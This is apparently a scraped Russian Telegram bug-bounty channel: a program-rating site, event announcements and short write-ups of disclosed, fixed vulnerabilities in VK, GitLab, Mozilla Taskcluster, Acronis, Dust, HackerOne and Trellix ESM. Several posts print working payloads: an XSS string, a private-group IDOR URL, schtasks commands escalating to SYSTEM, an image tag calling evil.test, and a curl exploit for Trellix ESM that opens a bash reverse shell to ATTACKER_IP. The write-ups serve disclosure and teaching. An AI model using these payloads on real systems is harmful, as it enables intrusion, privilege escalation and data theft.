Forwarded from Багхантер
This media is not supported in your browser
VIEW IN TELEGRAM
Рейтинг программ by Багхантер. 15-16 числа все начнём голосовать.
Forwarded from Багхантер
Багхантер
Рейтинг программ by Багхантер. 15-16 числа все начнём голосовать.
Т-Банк лидирует в тестовом рейтинге 🎉
Forwarded from Багхантер
Вот этим ребятам большое спасибо за то что помогли протестить :)
Для Alex Shev отдельное большое спасибо 🚧
🔥5😁3
Forwarded from Багхантер
Media is too big
VIEW IN TELEGRAM
https://eh.su/rating
https://eh.su/rating
https://eh.su/rating
Голосовать можно только при входе через Telegram, в перспективе будет добавлены другие социальные сети. Каждый пользователь может отдать 10 голосов в день за свои любимые программы. Можно еще оставить комментарий, если хотите. В рейтинге есть топ голосующих, благодаря которому 5 пользователей получат призы по итогам месяца (ТОП-1 получит 15000 рублей, ТОП-2 получит 10000 рублей, а ТОП-3 получит 5000 рублей прямо на карту). Еще два человека случайным образом будут выбраны из всех остальных проголосовавших хотябы раз - и тоже получат свои призы. Крутые футболки от Багхантера. Вендоры уже могут заявить права на свои программы, чтобы получать статистику переходов и голосов, а также удобно отвечать на комментарии пользователей, все заявки будут разобраны и одобрены до конца следующей недели, когда соберется статистика.
Приходите сегодня вечером на прямой эфир в 18:00 - там я отвечу на вопросы пользователей и подробней покажу функционал сайта, расскажу что буду делать дальше.
Если остались вопросы - пишите напрямую в личку @telegadlyasvyazi2
Всех поздравляю с запуском крутого рейтинга!)
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5😁1
Forwarded from Багхантер
За последнюю неделю более чем 500 пользователей посетили страницы моего сайта и сгенерировали около 3500 тысяч просмотров для рейтинга и других страниц. Пользователи просматривают в среднем 5 страниц, прежде чем выйти с сайта - это отличный показатель. Некоторые представители программ (вендоры) уже запросили доступ к статистике и возможности отвечать на комментарии пользователей - я выдал доступы. Мне важно чтобы у пользователей к рейтингу оставалось доверие - поэтому я обсуждаю с представителями платформ как сделать сайт максимально прозрачным и справедливым. Также я внедряю механизмы, чтобы повышать уверенность самих пользователей в справедливости рейтинга. Таким образом были внедрены графики просмотров и переходов за последние 7 дней для каждой программы. Вы видите их в прикрепленной фотографии. Я хочу чтобы рейтинг нужен был не только для того, чтобы высказать мнение, хочу чтобы он был одинаково полезен как программам, которые смогут получить себе новых багхантеров, так и пользователям, которые смогут выбрать себе крутую программу.
https://eh.su/vote/vkontakte_vk
Please open Telegram to view this post
VIEW IN TELEGRAM
❤🔥3❤1🔥1
Forwarded from Багхантер
Когда искал эту дыру в очередной раз доказал себе, что просто стоит немного посмотреть по-шире. Там где не смотрели другие багхантеры. В итоге нашел её через сторонний сервис. Можно было легко и просто получать товары для любой частной группы - кроме информации о товарах ничего не возвращалось, к сожалению. А функционал нужен был для того, чтобы легко, собственно, эти товары и подтягивать в свой рекламный кабинет.
Совет:
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥5❤2👍1🥰1🥴1😎1
Forwarded from Багхантер
Вот эту багу удалось найти очень легко. Перемещался кликами по поиску ВКонтакте и увидел такую ссылку - https://vk.com/search/people?c[group]=ид_какой-то_группы. Я знаю что группы в социальной сети ВКонтакте начинаются с минуса обычно, но тут минуса не было. Для открытой группы я таким образом получил участников. Сразу появилась идея - а что если подставить туда ид частной группы? Подставил ид 111 и ничего. Потом добавил минус и раскрылись все участники частной группы, аватарка и название. Так и не понял почему это работало...
Совет:
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13😁4❤2
Forwarded from Багхантер
При написании этого отчета вдохновился отчетами багхантера linkkss. Еще со времен HackerOne помню что он называл свои отчеты коротко и ясно: CSRF, XSS. В спешке, пока пытался составить репорт, перепутал одну букву и получилась ХХС. Ну а про саму уязвимость - это была классическая XSS в уведомлении, ничего выдающегося и сложного. Удивило место где она была, достаточно было просто вставить в первое попавшееся поле '"><img src=x onerror=alert();>, потом нажать на кнопку и отрабатывал JS-код.
Совет:
Please open Telegram to view this post
VIEW IN TELEGRAM
👍11
Forwarded from TSARKA (official channel)
KHS Talks: Сергей Белов и Олжас Сатиев о мифах в кибербезопасности.
KHS Talks — подкаст о кибербезопасности, где мы простым языком говорим о том, что на самом деле важно. Для обычных пользователей и для бизнеса — без сложных терминов, но по делу. Обсуждаем всё: от новостей до трендов и реальных кейсов.
В пилотном выпуске вместе с нашим гостем Сергеем Беловым, директором по информационной безопасности, мы поговорим о мифах, которые до сих пор живут в сфере ИБ. Что из этого уже давно неактуально?
1. Мифы о кибербезопасности. 2025 год: какие есть проблемы?
2. Взломы в 2010-ых. Время без https
3. За 15 лет поменялось многое. TLS сертификат
4. Можно ли пользоваться публичным Wi-Fi? Виртуальные карты. Как догонять людей с помощью Wi-Fi
5. Смена паролей. 12345Аа!
6. Режим Инкогнито в браузерах
7. Антивирусы. Нужен ли нам отечественный антивирус?
8. Компьютерные клубы. Риск взломов
9. DLP и Кибербез. Мониторят ли компании сотрудников?
10. Автозаполнения тогда и сейчас
11. Безопасна ли продукция Apple? Вирусы для MacOS
12. VPN, как дополнительное место атаки
13. Расширения в браузерах и Cookies
14. Евросоюз станет лидером в кибербезопасности?
15. Кибербезопасность — не тренд, а фундамент
Смотрим на YouTube канале:
https://youtu.be/QFotK9T8Mig?si=22fjDO0pJiU7BDFX
KHS Talks — подкаст о кибербезопасности, где мы простым языком говорим о том, что на самом деле важно. Для обычных пользователей и для бизнеса — без сложных терминов, но по делу. Обсуждаем всё: от новостей до трендов и реальных кейсов.
В пилотном выпуске вместе с нашим гостем Сергеем Беловым, директором по информационной безопасности, мы поговорим о мифах, которые до сих пор живут в сфере ИБ. Что из этого уже давно неактуально?
1. Мифы о кибербезопасности. 2025 год: какие есть проблемы?
2. Взломы в 2010-ых. Время без https
3. За 15 лет поменялось многое. TLS сертификат
4. Можно ли пользоваться публичным Wi-Fi? Виртуальные карты. Как догонять людей с помощью Wi-Fi
5. Смена паролей. 12345Аа!
6. Режим Инкогнито в браузерах
7. Антивирусы. Нужен ли нам отечественный антивирус?
8. Компьютерные клубы. Риск взломов
9. DLP и Кибербез. Мониторят ли компании сотрудников?
10. Автозаполнения тогда и сейчас
11. Безопасна ли продукция Apple? Вирусы для MacOS
12. VPN, как дополнительное место атаки
13. Расширения в браузерах и Cookies
14. Евросоюз станет лидером в кибербезопасности?
15. Кибербезопасность — не тренд, а фундамент
Смотрим на YouTube канале:
https://youtu.be/QFotK9T8Mig?si=22fjDO0pJiU7BDFX
YouTube
KHS Talks: Сергей Белов и Олжас Сатиев о мифах в кибербезопасности
KHS Talks — подкаст о кибербезопасности, где мы простым языком говорим о том, что на самом деле важно. Для обычных пользователей и для бизнеса — без сложных терминов, но по делу. Обсуждаем всё: от новостей до трендов и реальных кейсов.
В пилотном выпуске…
В пилотном выпуске…
👍1
Forwarded from Багхантер
Мониторил всякие тестовые группы разработчиков в социальной сети ВКонтакте, [чтобы найти какой-то новый функционал или старый, о котором я не знаю] - в одной из групп были скрытые подписчики. Меня это конечно же не устроило, я решил байпасить это окошечко. Соврешенно случайно попалась эта ссылка https://vk.com/search/people?group_id=219881844 - подставил туда айди и подписчики группы раскрылись. Получил 26 000 ₽ на ровном месте.
Совет:
Please open Telegram to view this post
VIEW IN TELEGRAM
❤5
Forwarded from Багхантер
Наверное одно из самых опасных мест для XSS - это личные сообщения ВКонтакте. Вот так и получилось - в функционале импорта товаров, заливая специально сформированный XML с пэйлоадом в атрибуте, удалось найти эту уязвимость. Не было фильтрации. Потом выяснилось, что сообщение еще можно было и переслать [это делает дыру еще опасней]. Сами знаете, к чему может привести XSS в такой большой социальной сети.
Совет:
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6
Forwarded from Багхантер
PHD в этом году
500 спикеров официально подтверждено! Это невероятные просто цифры, настоящий уровень мероприятия - вот он. Делегации из 41 государства посетят PHDays fest в этом году. В Лужники приедут уважаемые люди из стран Латинской Америки, Африки, Ближнего Востока и Азии [[весь мир]]. Уверен, что тысячи человек из России придут посмотреть, послушать доклады и поучаствовать в конкурсах. Мне особенно интересно будет посетить доклады от иностранных исследователей про Багбаунти, задать вопросы. Программу уже частично опубликовали. Ну и в конкурсах, надеюсь, также поучаствовать сам.
500 спикеров официально подтверждено! Это невероятные просто цифры, настоящий уровень мероприятия - вот он. Делегации из 41 государства посетят PHDays fest в этом году. В Лужники приедут уважаемые люди из стран Латинской Америки, Африки, Ближнего Востока и Азии [[весь мир]]. Уверен, что тысячи человек из России придут посмотреть, послушать доклады и поучаствовать в конкурсах. Мне особенно интересно будет посетить доклады от иностранных исследователей про Багбаунти, задать вопросы. Программу уже частично опубликовали. Ну и в конкурсах, надеюсь, также поучаствовать сам.
👍4🤮3😁2
🚨 Инъекция HTTP заголовка в Shopify Pitchfork из-за апгрейда Rack!
Интересный баг в
🚀 Суть: Rack 3 возвращает значения заголовков в виде массива. Pitchfork версии
🔍 Что это дает?
– Инъекцию произвольных заголовков (Set-Cookie, Location и т.д.) через
– Возможность вызвать XSS, если удастся внедрить
💡 Почему это интересно? С Rack 2 такой проблемы не было — там значения заголовков проходили через сплит поКлассический пример, как обновление зависимости может неожиданно открыть дыру в безопасности. 😬
💰 Shopify подтвердили баг и выплатили $800 (низкая критичность для их инфраструктуры, но может быть выше в других сетапах).
Хотите больше деталей, PoC-скриншоты и рекомендации по фиксу? 👇
eh.su/reports/74
Интересный баг в
Pitchfork (минималистичный Rack-сервер от Shopify). Оказывается, при работе с Rack 3 он становится уязвим к HTTP Response Header Injection.🚀 Суть: Rack 3 возвращает значения заголовков в виде массива. Pitchfork версии
0.10.0 просто итерируется по этому массиву и добавляет значения в буфер ответа без какой-либо фильтрации символов \r или \n.🔍 Что это дает?
– Инъекцию произвольных заголовков (Set-Cookie, Location и т.д.) через
\r\n или даже просто \n.– Возможность вызвать XSS, если удастся внедрить
\r\n\r\n, перенося остаток "заголовка" в тело ответа.💡 Почему это интересно? С Rack 2 такой проблемы не было — там значения заголовков проходили через сплит по
\n, что эффективно удаляло опасные последовательности. 💰 Shopify подтвердили баг и выплатили $800 (низкая критичность для их инфраструктуры, но может быть выше в других сетапах).
Хотите больше деталей, PoC-скриншоты и рекомендации по фиксу? 👇
eh.su/reports/74
😱4👍2❤1
🐛 RCE в CI/CD Mozilla Taskcluster!
Исследователь обнаружил уязвимость на публичном инстансе
⚙️ Как? Очень просто: оказывается, что Taskcluster при формировании команды '
💥 Эксплуатация была тривиальной: любой пользователь GitHub мог авторизоваться, выбрать тестовый воркер-групп proj-misc/tutorial и запустить задачу с кастомным YAML, содержащим вредоносное имя переменной. Результат (
💰 Уязвимость обходит контейнерную изоляцию. Несмотря на то, что баг получил критичность low, Mozilla выплатила $500, так как проблема затрагивала основную кодовую базу Taskcluster.
Все технические детали, PoC и рекомендации по исправлению читайте в полном разборе:
eh.su/reports/76
Исследователь обнаружил уязвимость на публичном инстансе
community-tc.services.mozilla.com, позволяющую выполнить код на worker-хосте.⚙️ Как? Очень просто: оказывается, что Taskcluster при формировании команды '
podman run' экранирует почти всё, кроме имени переменной окружения. Зловредное имя из секции payload.env (например, test --help ; whoami ;) напрямую подставлялось в аргумент --env, что приводило к выполнению shell-команд на хосте до запуска контейнера.💥 Эксплуатация была тривиальной: любой пользователь GitHub мог авторизоваться, выбрать тестовый воркер-групп proj-misc/tutorial и запустить задачу с кастомным YAML, содержащим вредоносное имя переменной. Результат (
whoami, ls) был виден прямо в логах задачи.💰 Уязвимость обходит контейнерную изоляцию. Несмотря на то, что баг получил критичность low, Mozilla выплатила $500, так как проблема затрагивала основную кодовую базу Taskcluster.
Все технические детали, PoC и рекомендации по исправлению читайте в полном разборе:
eh.su/reports/76
🔥8
🔥 Subdomain Takeover в GitLab Pages! Классика, но с нюансом.
🔧 Каким образом: GitLab Pages продолжал обслуживать кастомные домены целых 7 дней до их верификации. Это создавало окно возможностей: атакующий мог добавить чужой (еще не верифицированный) домен к себе в проект, быстро настроить CNAME/ALIAS на
💥 Последствия классические для такого типа атак: кража кук (если нет Secure и HttpOnly), фишинг под видом легитимного ресурса, и обход CSP/CORS для внедрения своего JS. В PoC засветился
🕵️♂️ Интересный момент: триаж-команда не сразу смогла воспроизвести баг из-за отсутствия доступа к DNS
🔗 Все детали, шаги воспроизведения и технические подробности – в полном отчёте по ссылке ниже:
eh.su/reports/77
🔧 Каким образом: GitLab Pages продолжал обслуживать кастомные домены целых 7 дней до их верификации. Это создавало окно возможностей: атакующий мог добавить чужой (еще не верифицированный) домен к себе в проект, быстро настроить CNAME/ALIAS на
*.gitlab.io и вуаля – полный контроль над субдоменом жертвы!💥 Последствия классические для такого типа атак: кража кук (если нет Secure и HttpOnly), фишинг под видом легитимного ресурса, и обход CSP/CORS для внедрения своего JS. В PoC засветился
docs-dev.gitlab.com.🕵️♂️ Интересный момент: триаж-команда не сразу смогла воспроизвести баг из-за отсутствия доступа к DNS
gitlab.com. Ресерчеру пришлось демонстрировать PoC на своем домене (gitlab.info-sec.cl), что в итоге и убедило команду.🔗 Все детали, шаги воспроизведения и технические подробности – в полном отчёте по ссылке ниже:
eh.su/reports/77
👍6
🤘 Сегодня под микроскопом интересный кейс повышения привилегий.
💡 В Acronis True Image 2021 была обнаружена уязвимость DLL Hijacking в компоненте «Rescue Media Builder» (
😈 Windows, в своем стремлении помочь, начинала искать эту DLL согласно Search Order, заглядывая в том числе и в директории из переменной
🚀 При запуске Rescue Media Builder, приложение цепляло подмененную DLL, и атакующий получал выполнение кода с правами администратора. Но это еще не все! Имея права админа, можно было провернуть трюк с
И вот у нас уже полный контроль над системой!
💸 В итоге, любой локальный пользователь мог эскалировать свои привилегии до SYSTEM. Команда Acronis оперативно отреагировала на репорт от
📖 Полный разбор этой уязвимости и рекомендации по защите читайте на нашем сайте:
eh.su/reports/79
💡 В Acronis True Image 2021 была обнаружена уязвимость DLL Hijacking в компоненте «Rescue Media Builder» (
MediaBuilder.exe). Суть в том, что приложение при запуске пыталось подгрузить библиотеку tcmalloc.dll, которой не было в стандартной поставке.😈 Windows, в своем стремлении помочь, начинала искать эту DLL согласно Search Order, заглядывая в том числе и в директории из переменной
PATH. Как вы понимаете, если в PATH есть папка, куда пользователь может писать (например, %USERPROFILE%\AppData\Local\Microsoft\WindowsApps), то туда можно было подложить свою зловредную tcmalloc.dll.🚀 При запуске Rescue Media Builder, приложение цепляло подмененную DLL, и атакующий получал выполнение кода с правами администратора. Но это еще не все! Имея права админа, можно было провернуть трюк с
schtasks.exe для создания и запуска задачи от имени NT AUTHORITY\SYSTEM, например:> schtasks /create /SC WEEKLY /RU \"NT AUTHORITY\SYSTEM\" /TN EOP /TR C:\Windows\System32\winver.exe /IT /RL HIGHEST
> schtasks /run /I /TN EOP
И вот у нас уже полный контроль над системой!
💸 В итоге, любой локальный пользователь мог эскалировать свои привилегии до SYSTEM. Команда Acronis оперативно отреагировала на репорт от
z3ron3, выпустила фикс и дала баунти в размере $250.📖 Полный разбор этой уязвимости и рекомендации по защите читайте на нашем сайте:
eh.su/reports/79
😈3😢1
🎯 Разбор интересного кейса с HTML-инъекцией в GitLab.
В чём было дело: Если на self-managed инстансе GitLab включена опция мягкого подтверждения email (
⚙️ Как это работает: Злоумышленник регистрируется и меняет свой email, добавляя что-то вроде:
Когда администратор вручную подтверждает такого пользователя через
💥 Импакт: Администратор, подтверждая пользователя, незаметно для себя отправляет HTTP-запрос на сервер атакующего (через тег
✅ Фикс и награда: Проблема была исправлена в GitLab 16.1.1. Исследователь получил баунти в размере $1060. Важно было правильно экранировать данные перед выводом в
🔗 Хотите узнать больше деталей и увидеть скриншоты? Полный разбор ждет вас по ссылке:
eh.su/reports/78
В чём было дело: Если на self-managed инстансе GitLab включена опция мягкого подтверждения email (
soft email confirmation), атакующий может внедрить HTML-теги прямо в свой адрес электронной почты в профиле.⚙️ Как это работает: Злоумышленник регистрируется и меняет свой email, добавляя что-то вроде:
user@example.com<h2>test<img/src=http://evil.test/p.png>
Когда администратор вручную подтверждает такого пользователя через
Admin Area → Users → Confirm user, GitLab некорректно обрабатывает поле unconfirmed_email при формировании модального окна подтверждения. В итоге, HTML-теги (например, <h2> и <img>) рендерятся прямо в этом окне.💥 Импакт: Администратор, подтверждая пользователя, незаметно для себя отправляет HTTP-запрос на сервер атакующего (через тег
<img>), что приводит к утечке его IP-адреса. Хотя <script> отфильтрованы, это все еще можно использовать для простого фишинга или сбора информации. Уязвимость получила оценку Low.✅ Фикс и награда: Проблема была исправлена в GitLab 16.1.1. Исследователь получил баунти в размере $1060. Важно было правильно экранировать данные перед выводом в
messageHtml.🔗 Хотите узнать больше деталей и увидеть скриншоты? Полный разбор ждет вас по ссылке:
eh.su/reports/78
🔥5👍3❤1
Сохранение привилегий через клонирование агента на платформе Dust
🤔 Представьте: вы — обычный пользователь платформы Dust, а хотите бесплатно и безлимитно пользоваться самой крутой LLM, например,
Оказывается, это было возможно.
Исследователь обнаружил, что эндпоинт
не проверял, что
🛠 Схема атаки была до гениальности простой:
1. Создать своего личного ассистента через веб-интерфейс.
2. Перехватить
3. В пути запроса заменить
4. В теле JSON-запроса также указать
💥 Вуаля! Ваш личный агент становился полноценным клоном
💸 Последствия? Полная компрометация механизма квотирования – сервис платил за запросы к "выключенной" модели. Администратор терял контроль, а компания – деньги, плюс потенциальная утечка контента prompt-инструкций. Классический IDOR, ведущий к эскалации привилегий из-за отсутствия серверной валидации sid и прав на изменение системных записей.
💡 Главный урок этого кейса: НИКОГДА не полагайтесь на клиентские ограничения и всегда валидируйте на сервере права на изменение чувствительных полей, особенно идентификаторов! Проверяйте, кому принадлежит изменяемый объект и не является ли он системным. К чести Dust, они оперативно всё исправили.
🔗 Подробный разбор, скриншоты и детали фикса читайте в полном отчёте:
eh.su/reports/80
🤔 Представьте: вы — обычный пользователь платформы Dust, а хотите бесплатно и безлимитно пользоваться самой крутой LLM, например,
gemini-pro, даже если админ её отключил!Оказывается, это было возможно.
Исследователь обнаружил, что эндпоинт
PATCH /api/w/{w_id}/assistant/agent_configurations/{agent-id}не проверял, что
sid (уникальный ID агента), указанный в теле запроса, относится к глобальному, защищённому агенту.🛠 Схема атаки была до гениальности простой:
1. Создать своего личного ассистента через веб-интерфейс.
2. Перехватить
PATCH запрос на его обновление (например, при смене описания).3. В пути запроса заменить
sid своего агента на нужного глобального агента (например, gemini-pro).4. В теле JSON-запроса также указать
"sid": "gemini-pro".💥 Вуаля! Ваш личный агент становился полноценным клоном
gemini-pro, и им можно было пользоваться, даже когда админ отключал "оригинал", расходуя платные токены компании.💸 Последствия? Полная компрометация механизма квотирования – сервис платил за запросы к "выключенной" модели. Администратор терял контроль, а компания – деньги, плюс потенциальная утечка контента prompt-инструкций. Классический IDOR, ведущий к эскалации привилегий из-за отсутствия серверной валидации sid и прав на изменение системных записей.
💡 Главный урок этого кейса: НИКОГДА не полагайтесь на клиентские ограничения и всегда валидируйте на сервере права на изменение чувствительных полей, особенно идентификаторов! Проверяйте, кому принадлежит изменяемый объект и не является ли он системным. К чести Dust, они оперативно всё исправили.
🔗 Подробный разбор, скриншоты и детали фикса читайте в полном отчёте:
eh.su/reports/80
🔥5
🤔 HackerOne уязвим? Да, и ещё как!
Недавно исследователь avinash_ обнаружил, что публичный JSON-эндпоинт HackerOne
🐞 Суть бага: лишняя болтливость API
Если в публично раскрытом отчёте на HackerOne присутствовал хотя бы один summary (краткое резюме от репортёра или команды), то API-эндпоинт
💧 Что утекало? Практически всё!
В результате любой мог получить доступ к чужим email-адресам, хэшам TOTP-секретов, OTP-резервным кодам, номерам телефонов, токенам GraphQL, размерам футболок и многим другим полям, которые явно не предназначались для публичного просмотра. 😱
🔧 Техническая сторона: "умный" сериализатор подвёл
Скорее всего, проблема крылась в «слишком умном» сериализаторе (в Rails-мире это мог быть
💣 Утечка была критической:
– TOTP-секрет + резервные коды = фактический обход 2FA при известном пароле.
– Токен
– Email и телефон – прямая дорога к фишингу и SIM-swapping.
Уязвимость затрагивала все раскрытые отчёты с summary, а это десятки тысяч профилей.
🛠 Фикс и награда
Инженеры H1 подтвердили и исправили баг в течение полутора дней, заставив сериализатор отдавать строго ограниченный набор публичных полей. Исследователь avinash_ получил за свою находку $25,000! 💰
🎓Этот случай – отличное напоминание:
1. Всегда используйте explicit whitelist при сериализации объектов, особенно User-моделей.
2. Автоматические тесты на изменения в API и DAST/снапшот-тесты после миграций сериализаторов – мастхев.
Даже компании, специализирующиеся на безопасности, могут допустить классические ошибки.
➡️ Полный разбор этого интереснейшего репорта читайте на сайте:
eh.su/reports/81
Недавно исследователь avinash_ обнаружил, что публичный JSON-эндпоинт HackerOne
/reports/:id.json мог сливать тонны личных данных пользователей. И всё из-за, казалось бы, безобидной фичи – summary в репортах!🐞 Суть бага: лишняя болтливость API
Если в публично раскрытом отчёте на HackerOne присутствовал хотя бы один summary (краткое резюме от репортёра или команды), то API-эндпоинт
/reports/[id].json вместо того, чтобы отдавать только текст этого summary, целиком сериализовал связанную запись пользователя (reporter/author). Это классический Information Disclosure.💧 Что утекало? Практически всё!
В результате любой мог получить доступ к чужим email-адресам, хэшам TOTP-секретов, OTP-резервным кодам, номерам телефонов, токенам GraphQL, размерам футболок и многим другим полям, которые явно не предназначались для публичного просмотра. 😱
🔧 Техническая сторона: "умный" сериализатор подвёл
Скорее всего, проблема крылась в «слишком умном» сериализаторе (в Rails-мире это мог быть
ActiveModel::Serializers или Jbuilder). Вместо явного указания полей для вывода (whitelist), он по умолчанию вытягивал все поля ассоциированной модели User. Иронично, что баг появился после релиза, который выкатили всего за 90 минут до репорта – настоящий "0-day на самом HackerOne"!💣 Утечка была критической:
– TOTP-секрет + резервные коды = фактический обход 2FA при известном пароле.
– Токен
graphql_secret_token мог позволить эмулировать запросы от имени пользователя.– Email и телефон – прямая дорога к фишингу и SIM-swapping.
Уязвимость затрагивала все раскрытые отчёты с summary, а это десятки тысяч профилей.
🛠 Фикс и награда
Инженеры H1 подтвердили и исправили баг в течение полутора дней, заставив сериализатор отдавать строго ограниченный набор публичных полей. Исследователь avinash_ получил за свою находку $25,000! 💰
🎓Этот случай – отличное напоминание:
1. Всегда используйте explicit whitelist при сериализации объектов, особенно User-моделей.
2. Автоматические тесты на изменения в API и DAST/снапшот-тесты после миграций сериализаторов – мастхев.
➡️ Полный разбор этого интереснейшего репорта читайте на сайте:
eh.su/reports/81
🔥10👍3
💣 0-click RCE в Trellix Enterprise Security Manager 11.6.10: Классическая связка из двух уязвимостей, которая позволила получить полный контроль над SIEM-системой.
🔗 Вся магия начиналась с неверно сконфигурированной директивы
💻 Дальше – дело техники! В методе
💥 Итог: неаутентифицированный удаленный захват SIEM-сервера с root-привилегиями, доступ к чувствительным логам и возможность дальнейшего продвижения по сети.Ошибка в конфигурации прокси и отсутствие валидации пользовательского ввода – гремучая смесь!
🛡 Команда Trellix отреагировала оперативно: баг был подтвержден, и патч выпущен в разумные сроки. Это хороший пример того, насколько важно тщательно настраивать проксирование и всегда валидировать пользовательский ввод, особенно когда речь идет о передаче данных в системные вызовы.
📖 Полный разбор с техническими деталями, PoC и хронологией доступен здесь:
eh.su/reports/82
🔗 Вся магия начиналась с неверно сконфигурированной директивы
ProxyPass в Apache. Запросы к /rs без аутентификации проксировались на локальный AJP-порт 8009 (ProxyPass /rs ajp://localhost:8009/rs). Исследователь использовал трюк с "Breaking Parser Logic" (помните доклад Orange Tsai?), добавив ..;/ в URL. Apache считал это валидным, а Tomcat нормализовал путь, открывая доступ к внутреннему Snowservice и его API SnowflexAdminServices.💻 Дальше – дело техники! В методе
ManageNode этого самого Snowservice параметр name передавался прямиком в системную команду sh -c <name>. Конечно же, без какой-либо фильтрации. Обернув пейлоад в обратные кавычки (например, id), можно было выполнить произвольные команды с правами root. Пример для получения шелла:curl -k -X POST https://<ESM>/rs/..;/Snowservice/SnowflexAdminServices/ManageNode -d '{"serverName":"poc","processes":[{"name":"bash -i >& /dev/tcp/<ATTACKER_IP>/2137 0>&1","signal":"Restart"}]}'💥 Итог: неаутентифицированный удаленный захват SIEM-сервера с root-привилегиями, доступ к чувствительным логам и возможность дальнейшего продвижения по сети.
🛡 Команда Trellix отреагировала оперативно: баг был подтвержден, и патч выпущен в разумные сроки. Это хороший пример того, насколько важно тщательно настраивать проксирование и всегда валидировать пользовательский ввод, особенно когда речь идет о передаче данных в системные вызовы.
📖 Полный разбор с техническими деталями, PoC и хронологией доступен здесь:
eh.su/reports/82
👀4❤1